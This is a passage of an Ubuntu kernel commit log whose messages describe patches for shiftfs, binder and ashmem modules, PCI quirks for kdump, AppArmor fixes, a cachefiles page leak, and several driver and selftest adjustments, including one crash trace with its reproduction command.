Shiftfs tries to keep the stack as flat as possible to avoid hitting the
kernel enforced filesystem stacking limit.

/* Permission Model */
When the mark shiftfs mount is created shiftfs will record the credentials of
the creator of the super block and stash it in the super block. When other
non-mark shiftfs mounts are created that reference the mark shiftfs mount they
will stash another reference to the creators credentials. Before calling into
the underlying filesystem shiftfs will switch to the creators credentials and
revert to the original credentials after the underlying filesystem operation
returns.

/* Mount Options */
- mark
  When set the mark mount option indicates that the mount in question is
  allowed to be shifted. Since shiftfs it mountable in by user namespace root
  non-initial user namespace this mount options ensures that the system
  administrator has decided that the marked mount is safe to be shifted.
  To mark a mount as shiftable CAP_SYS_ADMIN in the user namespace is required.
- passthrough={0,1,2,3}
  This mount options functions as a bitmask. When set to a non-zero value
  shiftfs will try to act as an invisible shim sitting on top of the
  underlying filesystem.
  - 1: Shifts will report the filesystem type of the underlay for stat-like
       system calls.
  - 2: Shiftfs will passthrough whitelisted ioctl() to the underlay.
  - 3: Shiftfs will both use 1 and 2.
Note that mount options on a marked mount cannot be changed.

/* Extended Attributes */
Shiftfs will make sure to translate extended attributes.

/* Inodes Numbers */
Shiftfs inodes numbers are copied up from the underlying filesystem, i.e.
shiftfs inode numbers will be identical to the corresponding underlying
filesystem's inode numbers. This has the advantage that inotify and friends
should work out of the box.
(In essence, shiftfs is nothing but a 1:1 mirror of the underlying filesystem's
 dentries and inodes.)

/* Device Support */
Shiftfs only supports the creation of pipe and socket devices. Character and
block devices cannot be created through shiftfs.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: shiftfs: uid/gid shifting bind mount
James Bottomley [Thu, 4 Apr 2019 13:39:11 +0000 (15:39 +0200)]
UBUNTU: SAUCE: shiftfs: uid/gid shifting bind mount

BugLink: https://bugs.launchpad.net/bugs/1823186
This allows any subtree to be uid/gid shifted and bound elsewhere.  It
does this by operating simlarly to overlayfs.  Its primary use is for
shifting the underlying uids of filesystems used to support
unpriviliged (uid shifted) containers.  The usual use case here is
that the container is operating with an uid shifted unprivileged root
but sometimes needs to make use of or work with a filesystem image
that has root at real uid 0.

The mechanism is to allow any subordinate mount namespace to mount a
shiftfs filesystem (by marking it FS_USERNS_MOUNT) but only allowing
it to mount marked subtrees (using the -o mark option as root).  Once
mounted, the subtree is mapped via the super block user namespace so
that the interior ids of the mounting user namespace are the ids
written to the filesystem.

Signed-off-by: James Bottomley <James.Bottomley@HansenPartnership.com>
[ saf: use designated initializers for path declarations to fix errors
  with struct randomization ]
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
[update: port to 5.0]
Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Acked-by: Tyler Hicks <tyhicks@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: selftests: net: Don't fail test_vxlan_under_vrf on xfail
Seth Forshee [Wed, 27 Feb 2019 14:17:08 +0000 (08:17 -0600)]
UBUNTU: SAUCE: selftests: net: Don't fail test_vxlan_under_vrf on xfail

I changed the test for VXLAN underlay in non-default VRF to print
XFAIL for expected failure, but the script still exits with an
error which makes the test overall fail. Fix this to still exit
successfully following the xfail.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: selftests: net: Make test for VXLAN underlay in non-default VRF an...
Seth Forshee [Mon, 25 Feb 2019 15:13:40 +0000 (09:13 -0600)]
UBUNTU: SAUCE: selftests: net: Make test for VXLAN underlay in non-default VRF an expected failure

This is a new test and fails with older Ubuntu kernels, so it's
not a regression. Change the output from "FAIL" to "XFAIL" for
now so it won't cause test failures. This is temporary until we
find out the reason the test fails.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: prevent a glibc test failure when looking for obsolete types on headers
Thadeu Lima de Souza Cascardo [Tue, 19 Feb 2019 16:05:11 +0000 (13:05 -0300)]
UBUNTU: SAUCE: prevent a glibc test failure when looking for obsolete types on headers

BugLink: https://bugs.launchpad.net/bugs/1813060
glibc will look for ulong and other obsolete types on headers, including linux
headers, and warn of their use. That, unfortunately, makes automated testing
fail.

Though that type is only referred inside a comment, and the test is what needs
fixing, we are temporarily changing the comment to make tests pass.

Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: hio -- device_add_disk() grew a 'groups' argument in 4.20
Seth Forshee [Wed, 6 Feb 2019 21:22:21 +0000 (15:22 -0600)]
UBUNTU: hio -- device_add_disk() grew a 'groups' argument in 4.20

We can just pass NULL for this new argument.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio -- part_round_stats() removed in 5.0
Seth Forshee [Wed, 6 Feb 2019 21:17:10 +0000 (15:17 -0600)]
UBUNTU: hio -- part_round_stats() removed in 5.0

This can no longer be called. The only place which was still
calling it for 4.14 and later was ssd_update_smart(), and it was
not updating any statistics used there anyhow, so there's no need
to replace the call with anything else.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio -- replace use of do_gettimeofday()
Seth Forshee [Wed, 6 Feb 2019 20:12:43 +0000 (14:12 -0600)]
UBUNTU: hio -- replace use of do_gettimeofday()

This function was removed in 5.0. In all cases only the seconds
component of the time is used, and we don't have to worry about
backward compatibility, so just replace it with
ktime_get_real_seconds();

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio -- stub out BIOVEC_PHYS_MERGEABLE for 4.20+
Seth Forshee [Wed, 6 Feb 2019 19:49:13 +0000 (13:49 -0600)]
UBUNTU: hio -- stub out BIOVEC_PHYS_MERGEABLE for 4.20+

This was moved to be internal to the block core in 4.20. It looks
to me like the driver doesn't need to be doing this anyway, as
the block layer already tries to merge bio segments when possible.
But in the worst case we still just end up with segments which
could have been merged but are not merged, which doesn't look to
be fatal.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: selftests: net: fix "from" match test in fib_rule_tests.sh
Marcelo Henrique Cerri [Wed, 30 Jan 2019 16:13:18 +0000 (14:13 -0200)]
UBUNTU: SAUCE: selftests: net: fix "from" match test in fib_rule_tests.sh

Fix the IPv4 address of the dummy0 interface and ensure that ip_forward
is enabled in the network space to get a valid response when checking
for routes between the gateway and other hosts.

Signed-off-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
2 years agoUBUNTU: SAUCE: selftests/ftrace: Fix tab expansion in trace_marker snapshot trigger...
Seth Forshee [Fri, 25 Jan 2019 18:43:49 +0000 (12:43 -0600)]
UBUNTU: SAUCE: selftests/ftrace: Fix tab expansion in trace_marker snapshot trigger test

When trace lines are passed through echo tabs are being changed
to spaces, causing later string comparisons to fail. Add quotes
around the variables to prevent this.

Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: selftests: net: replace AF_MAX with INT_MAX in socket.c
Marcelo Henrique Cerri [Thu, 24 Jan 2019 19:21:45 +0000 (17:21 -0200)]
UBUNTU: SAUCE: selftests: net: replace AF_MAX with INT_MAX in socket.c

Use INT_MAX instead of AF_MAX, since libc might have a smaller value
of AF_MAX than the kernel, what causes the test to fail.

Signed-off-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
2 years agoUBUNTU: SAUCE: binder: give binder_alloc its own debug mask file
Christian Brauner [Wed, 23 Jan 2019 20:54:23 +0000 (21:54 +0100)]
UBUNTU: SAUCE: binder: give binder_alloc its own debug mask file

Currently both binder.c and binder_alloc.c both register the
/sys/module/binder_linux/paramters/debug_mask file which leads to conflicts
in sysfs. This commit gives binder_alloc.c its own
/sys/module/binder_linux/paramters/alloc_debug_mask file.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: binder: turn into module
Christian Brauner [Wed, 16 Jan 2019 22:13:25 +0000 (23:13 +0100)]
UBUNTU: SAUCE: binder: turn into module

The Android binder driver needs to become a module for the sake of shipping
Anbox. To do this we need to export the following functions since binder is
currently still using them:

- security_binder_set_context_mgr()
- security_binder_transaction()
- security_binder_transfer_binder()
- security_binder_transfer_file()
- can_nice()
- __close_fd_get_file()
- mmput_async()
- task_work_add()
- map_kernel_range_noflush()
- get_vm_area()
- zap_page_range()
- put_ipc_ns()
- get_ipc_ns_exported()
- show_init_ipc_ns()

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
[ saf: fix additional reference to init_ipc_ns from 5.0-rc6 ]
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: ashmem: turn into module
Christian Brauner [Wed, 20 Jun 2018 17:21:37 +0000 (19:21 +0200)]
UBUNTU: SAUCE: ashmem: turn into module

The Android ashmem driver needs to become a module for the sake of Anbox.
To do this we need to export shmem_zero_setup() since ashmem is currently
using is.
Note, the abomination that is the Android ashmem driver will go away in the
not so distant future in favour of memfds.

Signed-off-by: Christian Brauner <christian.brauner@ubuntu.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: fan: Fix NULL pointer dereference
Juerg Haefliger [Fri, 18 Jan 2019 12:40:02 +0000 (13:40 +0100)]
UBUNTU: SAUCE: fan: Fix NULL pointer dereference

BugLink: https://bugs.launchpad.net/bugs/1811803
Fix a NULL pointer dereference in fan code that can easily be triggered
by running:
$ sudo ip link add foo type ipip

Which leads to:
[    1.330067] BUG: unable to handle kernel NULL pointer dereference at 0000000000000108
[    1.330792] IP: [<ffffffff817e8132>] ipip_netlink_fan.isra.7+0x12/0x280
[    1.331399] PGD 800000003fb94067 PUD 3fb93067 PMD 0
[    1.331882] Oops: 0000 [#1] SMP
[    1.332200] Modules linked in:
[    1.332492] CPU: 0 PID: 137 Comm: ip Not tainted 4.4.167+ #5
[    1.333001] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.11.1-1ubuntu1 04/01/2014
[    1.333740] task: ffff88003c38a640 ti: ffff88003fb5c000 task.ti: ffff88003fb5c000
[    1.334375] RIP: 0010:[<ffffffff817e8132>]  [<ffffffff817e8132>] ipip_netlink_fan.isra.7+0x12/0x280
[    1.335193] RSP: 0018:ffff88003fb5f778  EFLAGS: 00010246
[    1.335671] RAX: 0000000000000000 RBX: 0000000000000000 RCX: 0000000000000000
[    1.336305] RDX: ffff88003fb5f7f0 RSI: ffff88003fa3f840 RDI: 0000000000000000
[    1.336940] RBP: ffff88003fb5f7a0 R08: 000000000000000a R09: 0000000000000092
[    1.337587] R10: 0000000000000000 R11: 00000000000001ad R12: ffff88003fa3f000
[    1.338267] R13: ffff88003fb5f9d0 R14: ffff88003fa3f840 R15: ffffffff81f4b240
[    1.338904] FS:  00007f535979b700(0000) GS:ffff88003e400000(0000) knlGS:0000000000000000
[    1.339590] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    1.340066] CR2: 0000000000000108 CR3: 000000003fb60000 CR4: 0000000000000670
[    1.340750] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
[    1.341341] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
[    1.341909] Stack:
[    1.342080]  0000000000000000 ffff88003fa3f000 ffff88003fb5f9d0 ffff88003fa3f840
[    1.342725]  ffffffff81f4b240 ffff88003fb5f828 ffffffff817e8515 0000000381356f0e
[    1.343334]  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    1.343943] Call Trace:
[    1.344141]  [<ffffffff817e8515>] ipip_newlink+0xa5/0xc0
[    1.344553]  [<ffffffff81782f5b>] ? __netlink_ns_capable+0x3b/0x40
[    1.345029]  [<ffffffff817651fd>] rtnl_newlink+0x6fd/0x8b0
[    1.345699]  [<ffffffff811f92b1>] ? kmem_cache_alloc+0x1a1/0x1f0
[    1.346165]  [<ffffffff8119abd5>] ? mempool_alloc_slab+0x15/0x20
[    1.346630]  [<ffffffff81436463>] ? validate_nla+0x93/0x1a0
[    1.347060]  [<ffffffff81436680>] ? nla_parse+0xa0/0x100
[    1.347474]  [<ffffffff81436732>] ? nla_strlcpy+0x52/0x60
[    1.347891]  [<ffffffff81762099>] ? rtnl_link_ops_get+0x39/0x50
[    1.348347]  [<ffffffff81764c76>] ? rtnl_newlink+0x176/0x8b0
[    1.348784]  [<ffffffff8176373c>] rtnetlink_rcv_msg+0xec/0x230
[    1.349237]  [<ffffffff811fce3b>] ? __kmalloc_node_track_caller+0x24b/0x310
[    1.349774]  [<ffffffff8173e397>] ? __alloc_skb+0x87/0x1d0
[    1.350198]  [<ffffffff81763650>] ? rtnetlink_rcv+0x30/0x30
[    1.350628]  [<ffffffff81786da6>] netlink_rcv_skb+0xa6/0xc0
[    1.351059]  [<ffffffff81763648>] rtnetlink_rcv+0x28/0x30
[    1.351476]  [<ffffffff81786770>] netlink_unicast+0x190/0x240
[    1.351919]  [<ffffffff81786b5a>] netlink_sendmsg+0x33a/0x3b0
[    1.352363]  [<ffffffff813af211>] ? aa_sock_msg_perm+0x61/0x150
[    1.352820]  [<ffffffff81734bde>] sock_sendmsg+0x3e/0x50
[    1.353235]  [<ffffffff817356a7>] ___sys_sendmsg+0x287/0x2a0
[    1.353672]  [<ffffffff8120ed2b>] ? mem_cgroup_try_charge+0x6b/0x1e0
[    1.354162]  [<ffffffff811cb9ed>] ? handle_mm_fault+0xecd/0x1b80
[    1.354625]  [<ffffffff81239fc7>] ? __alloc_fd+0xc7/0x190
[    1.355044]  [<ffffffff81736021>] __sys_sendmsg+0x51/0x90
[    1.355525]  [<ffffffff81736072>] SyS_sendmsg+0x12/0x20
[    1.355933]  [<ffffffff81866e1b>] entry_SYSCALL_64_fastpath+0x22/0xcb
[    1.356426] Code: 50 01 00 00 01 eb d3 49 8d 94 24 b8 08 00 00 eb ac e8 83 cf 89 ff 0f 1f 00 0f 1f 44 00 00 55 48 89 e5 41 57 41 56 41 55 41 54 53 <48> 8b 9f 08 01 00 00 48 85 db 74 1e 8b 02 85 c0 75 25 44 0f b7
[    1.358557] RIP  [<ffffffff817e8132>] ipip_netlink_fan.isra.7+0x12/0x280
[    1.359086]  RSP <ffff88003fb5f778>
[    1.359359] CR2: 0000000000000108
[    1.359637] ---[ end trace 7820fbc7ced5dd6e ]---

Signed-off-by: Juerg Haefliger <juergh@canonical.com>
Acked-by: Colin Ian King <colin.king@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: (noup) USB: usb-storage: Make MMC support optional on ums-realtek
Kai-Heng Feng [Mon, 3 Dec 2018 06:27:20 +0000 (14:27 +0800)]
UBUNTU: SAUCE: (noup) USB: usb-storage: Make MMC support optional on ums-realtek

BugLink: https://bugs.launchpad.net/bugs/1806335
Hardware vendors may not pay the MMC royalty, so MMC support needs to be
disabled on Ubuntu pre-installed hardwares.

The current approach is to use an out-of-tree module to disable MMC
support, but it's hard to maintain and it disables secure boot.

Use a new knob "enable_mmc" to enable/disable mmc support, so
pre-installed systems can easily turn MMC off.

Realtek doesn't want this feature in mainline kernel, but they are okay
to have this in Ubuntu's kernel. So let's have it here.

Signed-off-by: Kai-Heng Feng <kai.heng.feng@canonical.com>
Acked-by: Kleber Souza <kleber.souza@canonical.com>
Acked-by: AceLan Kao <acelan.kao@canonical.com>
Signed-off-by: Khalid Elmously <khalid.elmously@canonical.com>
2 years agoUBUNTU: SAUCE: x86/quirks: Scan all busses for early PCI quirks
Guilherme G. Piccoli [Thu, 8 Nov 2018 21:07:21 +0000 (19:07 -0200)]
UBUNTU: SAUCE: x86/quirks: Scan all busses for early PCI quirks

BugLink: https://bugs.launchpad.net/bugs/1797990
Recently was noticed in an HP GEN9 system that kdump couldn't succeed
due to an irq storm coming from an Intel NIC, narrowed down to be lack
of clearing the MSI/MSI-X enable bits during the kdump kernel boot.
For that, we need an early quirk to manually turn off MSI/MSI-X for
PCI devices - this was worked as an optional boot parameter in a
(~subsequent~) previous patch.

Problem is that in our test system, the Intel NICs were not present in
any secondary bus under the first PCIe root complex, so they couldn't
be reached by the recursion in check_dev_quirk(). Modern systems,
specially with multi-processors and multiple NUMA nodes expose multiple
root complexes, describing more than one PCI hierarchy domain. Currently
the simple recursion present in the early-quirks code from x86 starts a
descending recursion from bus 0000:00, and reach many other busses by
navigating this hierarchy walking through the bridges. This is not
enough in systems with more than one root complex/host bridge, since
the recursion won't "traverse" to other root complexes by starting
statically in 0000:00 (for more details, see [0]).

This patch hence implements the full bus/device/function scan in
early_quirks(), by checking all possible busses instead of using a
recursion based on the first root bus or limiting the search scope to
the first 32 busses (like it was done in the beginning [1]).

[0] https://bugs.launchpad.net/bugs/1797990

[1] From historical perspective, early PCI scan dates back
to BitKeeper, added by Andi Kleen's "[PATCH] APIC fixes for x86-64",
on October/2003. It initially restricted the search to the first
32 busses and slots.

Due to a potential bug found in Nvidia chipsets, the scan
was changed to run only in the first root bus: see
commit 8659c406ade3 ("x86: only scan the root bus in early PCI quirks")

Finally, secondary busses reachable from the 1st bus were re-added back by:
commit 850c321027c2 ("x86/quirks: Reintroduce scanning of secondary buses")

Reported-by: Dan Streetman <ddstreet@canonical.com>
Signed-off-by: Guilherme G. Piccoli <gpiccoli@canonical.com>
[mfo: v2:
 - gate the bus-scan differences with the cmdline option.
 - update changelog: subsequent/previous patch.]
Signed-off-by: Mauricio Faria de Oliveira <mfo@canonical.com>
Acked-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: x86/quirks: Add parameter to clear MSIs early on boot
Guilherme G. Piccoli [Thu, 8 Nov 2018 21:07:20 +0000 (19:07 -0200)]
UBUNTU: SAUCE: x86/quirks: Add parameter to clear MSIs early on boot

BugLink: https://bugs.launchpad.net/bugs/1797990
We observed a kdump failure in x86 that was narrowed down to MSI irq
storm coming from a PCI network device. The bug manifests as a lack of
progress in the boot process of kdump kernel, and a flood of kernel
messages like:

[...]
[ 342.265294] do_IRQ: 0.155 No irq handler for vector
[ 342.266916] do_IRQ: 0.155 No irq handler for vector
[ 347.258422] do_IRQ: 14053260 callbacks suppressed
[...]

The root cause of the issue is that kexec process of the kdump kernel
doesn't ensure PCI devices are reset or MSI capabilities are disabled,
so a PCI adapter could produce a huge amount of irqs which would steal
all the processing time for the CPU (specially since we usually restrict
kdump kernel to use a single CPU only).

This patch implements the kernel parameter "pci=clearmsi" to clear the
MSI/MSI-X enable bits in the Message Control register for all PCI devices
during early boot time, thus preventing potential issues in the kexec'ed
kernel. PCI spec also supports/enforces this need (see PCI Local Bus
spec sections 6.8.1.3 and 6.8.2.3).

Suggested-by: Dan Streetman <ddstreet@canonical.com>
Suggested-by: Gavin Shan <shan.gavin@linux.alibaba.com>
Signed-off-by: Guilherme G. Piccoli <gpiccoli@canonical.com>
Signed-off-by: Mauricio Faria de Oliveira <mfo@canonical.com>
Acked-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: x86/PCI: Export find_cap() to be used in early PCI code
Guilherme G. Piccoli [Thu, 8 Nov 2018 21:07:19 +0000 (19:07 -0200)]
UBUNTU: SAUCE: x86/PCI: Export find_cap() to be used in early PCI code

BugLink: https://bugs.launchpad.net/bugs/1797990
This patch exports (and renames) the function find_cap() to be used
in the early PCI quirk code, by the next patch.

This is being moved out from AGP code to generic early-PCI code
since it's not AGP-specific and can be used for any PCI device.
No functional changes intended.

Signed-off-by: Guilherme G. Piccoli <gpiccoli@canonical.com>
Signed-off-by: Mauricio Faria de Oliveira <mfo@canonical.com>
Acked-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: Bluetooth: Support for LED on Edge Gateways
Wen-chien Jesse Sung [Wed, 17 Oct 2018 11:42:10 +0000 (19:42 +0800)]
UBUNTU: SAUCE: Bluetooth: Support for LED on Edge Gateways

BugLink: https://launchpad.net/bugs/1798332
For Edge Gateway 5000/5100 only.

Add code for controlling bluetooth LED via firmware, and turns
the LED on and off when the interface is up and down accordingly.

Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Acked-by: Kleber Sacilotto de Souza <kleber.souza@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: mwifiex: Switch WiFi LED state according to the device status
Wen-chien Jesse Sung [Wed, 17 Oct 2018 11:41:41 +0000 (19:41 +0800)]
UBUNTU: SAUCE: mwifiex: Switch WiFi LED state according to the device status

BugLink: https://launchpad.net/bugs/1798330
For Edge Gateway 5000/5100 only.

Add code for controlling WiFi LED via firmware, and turns the LED on
and off when the interface is up and down accordingly.

Signed-off-by: Wen-chien Jesse Sung <jesse.sung@canonical.com>
Acked-by: Kleber Sacilotto de Souza <kleber.souza@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: platform/x86: dell-uart-backlight: new backlight driver for DELL AIO
AceLan Kao [Thu, 20 Sep 2018 08:41:14 +0000 (16:41 +0800)]
UBUNTU: SAUCE: platform/x86: dell-uart-backlight: new backlight driver for DELL AIO

BugLink: https://bugs.launchpad.net/bugs/1727235
The Dell AIO machines released after 2017 come with a UART interface
to communicate with the backlight scalar board. This driver creates
a standard backlight interface and talks to the scalar board through
UART.

In DSDT this uart port will be defined as
   Name (_HID, "DELL0501")
   Name (_CID, EisaId ("PNP0501")
The 8250 PNP driver will be loaded by default, and this driver uses
"DELL0501" to confirm the uart port is a backlight interface and
leverage the port created by 8250 PNP driver to communicate with
the scalar board.

v2:
   1. move struct uart_cmd to .c file
   2. make dell_uart_get_bl_power() inline
   3. add space to ternary operator "bl_cmd->cmd[2] = power ? 0 : 1;"
   4. check return value of kzalloc()
   5. add kzfree()
   6. check return value of backlight_device_register()
   7. check return value of filp_open() at init
v3:
   1. Fix compiling warning.
v4:
   1. make *tty and *ftty static
   2. bl_cmd->ret[0] will never be less than 0, fixed the if statement
   3. fix some line over 80 chars warnings.

Signed-off-by: AceLan Kao <acelan.kao@canonical.com>
Acked-by: Colin Ian King <colin.king@canonical.com>
Acked-by: Stefan Bader <stefan.bader@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: cachefiles: Page leaking in cachefiles_read_backing_file while vmscan...
Kiran Kumar Modukuri [Mon, 24 Sep 2018 02:11:43 +0000 (12:11 +1000)]
UBUNTU: SAUCE: cachefiles: Page leaking in cachefiles_read_backing_file while vmscan is active

BugLink: https://bugs.launchpad.net/bugs/1793430
[Description]
In a heavily loaded system where the system pagecache is nearing memory limits and fscache is enabled,
pages can be leaked by fscache while trying read pages from cachefiles backend.
This can happen because two applications can be reading same page from a single mount,
two threads can be trying to read the backing page at same time. This results in one of the thread
finding that a page for the backing file or netfs file is already in the radix tree. During the error
handling cachefiles does not cleanup the reference on backing page, leading to page leak.

[Fix]
The fix is straightforward, to decrement the reference when error is encounterd.

[Testing]
I have tested the fix using following method for 12+ hrs.

1) mkdir -p /mnt/nfs ; mount -o vers=3,fsc <server_ip>:/export /mnt/nfs
2) create 10000 files of 2.8MB in a NFS mount.
3) start a thread to simulate heavy VM presssure
   (while true ; do echo 3 > /proc/sys/vm/drop_caches ; sleep 1 ; done)&
4) start multiple parallel reader for data set at same time
   find /mnt/nfs -type f | xargs -P 80 cat > /dev/null &
   find /mnt/nfs -type f | xargs -P 80 cat > /dev/null &
   find /mnt/nfs -type f | xargs -P 80 cat > /dev/null &
   ..
   ..
   find /mnt/nfs -type f | xargs -P 80 cat > /dev/null &
   find /mnt/nfs -type f | xargs -P 80 cat > /dev/null &
5) finally check using cat /proc/fs/fscache/stats | grep -i pages ;
   free -h , cat /proc/meminfo and page-types -r -b lru
   to ensure all pages are freed.

Reviewed-by: Daniel Axtens <dja@axtens.net>
Signed-off-by: Shantanu Goel <sgoel01@yahoo.com>
Signed-off-by: Kiran Kumar Modukuri <kiran.modukuri@gmail.com>
[dja: forward ported to current upstream]
Signed-off-by: Daniel Axtens <dja@axtens.net>
[applied from
 https://www.redhat.com/archives/linux-cachefs/2018-September/msg00002.html
 This is v3 of the patch. v2 has sat on the list for weeks without
 any response or forward progress. v1 was first posted in 2014 and
 was reposted this August.]
Signed-off-by: Daniel Axtens <daniel.axtens@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: tools: use CC for linking acpi tools
Seth Forshee [Mon, 26 Feb 2018 21:32:55 +0000 (15:32 -0600)]
UBUNTU: SAUCE: tools: use CC for linking acpi tools

Prior to 7ed1c1901fe5 ("tools: fix cross-compile var clobbering")
the acpi tools makefiles were using gcc for linking. That commit
causes ld to be used instead, however this doesn't work as the
flags supplied are meant for gcc and not ld. Change the acpi
tools rules to use $(QUIET_LINK)$(CC) for linking to fix this
regression.

Fixes: 7ed1c1901fe5 ("tools: fix cross-compile var clobbering")
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU SAUCE: apparmor: fix apparmor mediating locking non-fs, unix sockets
John Johansen [Mon, 30 Jul 2018 20:55:30 +0000 (13:55 -0700)]
UBUNTU SAUCE: apparmor: fix apparmor mediating locking non-fs, unix sockets

The apparmor policy language current does not allow expressing of the
locking permission for no-fs unix sockets. However the kernel is
enforcing mediation.

Add the AA_MAY_LOCK perm to the computed perm mask which will grant
permission for all current abi profiles, but still allow specifying
auditing of the operation if needed.

BugLink: http://bugs.launchpad.net/bugs/1780227
Signed-off-by: John Johansen <john.johansen@canonical.com>
Acked-by: Acked-by: Stefan Bader <stefan.bader@canonical.com>
Acked-by: Acked-by: Kleber Sacilotto de Souza <kleber.souza@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: random: Make getrandom() ready earlier
Ben Hutchings [Wed, 4 Jul 2018 14:15:50 +0000 (16:15 +0200)]
UBUNTU: SAUCE: random: Make getrandom() ready earlier

This effectively reverts commit 725e828 "random: fix crng_ready()
test" which was commit 43838a23a05f upstream.  Unfortunately some
users of getrandom() don't expect it to block for long, and they need
to be fixed before we can allow this change into stable.

This doesn't directly revert that commit, but only weakens the ready
condition used by getrandom() when the GRND_RANDOM flag is not set.
Calls to getrandom() that return before the RNG is fully seeded will
generate warnings, just like reads from /dev/urandom.

BugLink: https://bugs.launchpad.net/bugs/1780062
(backported from ://salsa.debian.org/kernel-team/linux/raw/stretch/debian/patches/debian/random-make-getrandom-ready-earlier.patch)
[smb: open code waiting in getrandom directly]
Signed-off-by: Stefan Bader <stefan.bader@canonical.com>
Acked-by: Colin Ian King <colin.king@canonical.com>
Acked-by: Khaled Elmously <khalid.elmously@canonical.com>
Acked-by: Marcelo Henrique Cerri <marcelo.cerri@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: apparmor: fix use after free in sk_peer_label
John Johansen [Wed, 27 Jun 2018 03:19:19 +0000 (20:19 -0700)]
UBUNTU: SAUCE: apparmor: fix use after free in sk_peer_label

BugLink: http://bugs.launchpad.net/bugs/1778646
Signed-off-by: John Johansen <john.johansen@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: apparmor: af_unix mediation
John Johansen [Wed, 19 Jul 2017 06:27:23 +0000 (23:27 -0700)]
UBUNTU: SAUCE: apparmor: af_unix mediation

af_socket mediation did not make it into 4.17 so add remaining out
of tree patch

Signed-off-by: John Johansen <john.johansen@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: SAUCE: apparmor: patch to provide compatibility with v2.x net rules
John Johansen [Sun, 17 Jun 2018 10:56:25 +0000 (03:56 -0700)]
UBUNTU: SAUCE: apparmor: patch to provide compatibility with v2.x net rules

The networking rules upstreamed in 4.17 have a deliberate abi break
with the older 2.x network rules.

This patch provides compatibility with the older rules for those
still using an apparmor 2.x userspace and still want network rules
to work on a newer kernel.

Signed-off-by: John Johansen <john.johansen@canonical.com>
[ saf: resolve conflicts when rebasing to 4.20 ]
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
2 years agoUBUNTU: hio: block api changes after 4.17-rc2 rebase
Thadeu Lima de Souza Cascardo [Tue, 1 May 2018 17:30:04 +0000 (14:30 -0300)]
UBUNTU: hio: block api changes after 4.17-rc2 rebase

The queue_flag_* functions are private now and drivers should use
blk_queue_flag_* instead.

Signed-off-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
2 years agoUBUNTU: SAUCE: (no-up) rename the adv7511 drm driver to adv7511_drm
Seth Forshee [Tue, 17 Apr 2018 17:01:45 +0000 (12:01 -0500)]
UBUNTU: SAUCE: (no-up) rename the adv7511 drm driver to adv7511_drm

BugLink: http://bugs.launchpad.net/bugs/1764816
This has the same name as another module, and due to some quirk
only one of them will get installed. Which one it is seems to be
nondeterministic, but if the drm module is missing in our
snapdragon flavor then the display and audio will fail to work.
Rename the module to avoid the duplication.

Acked-by: Colin Ian King <colin.king@canonical.com>
Acked-by: Thadeu Lima de Souza Cascardo <cascardo@canonical.com>
Signed-off-by: Seth Forshee <seth.forshee@canonical.com>
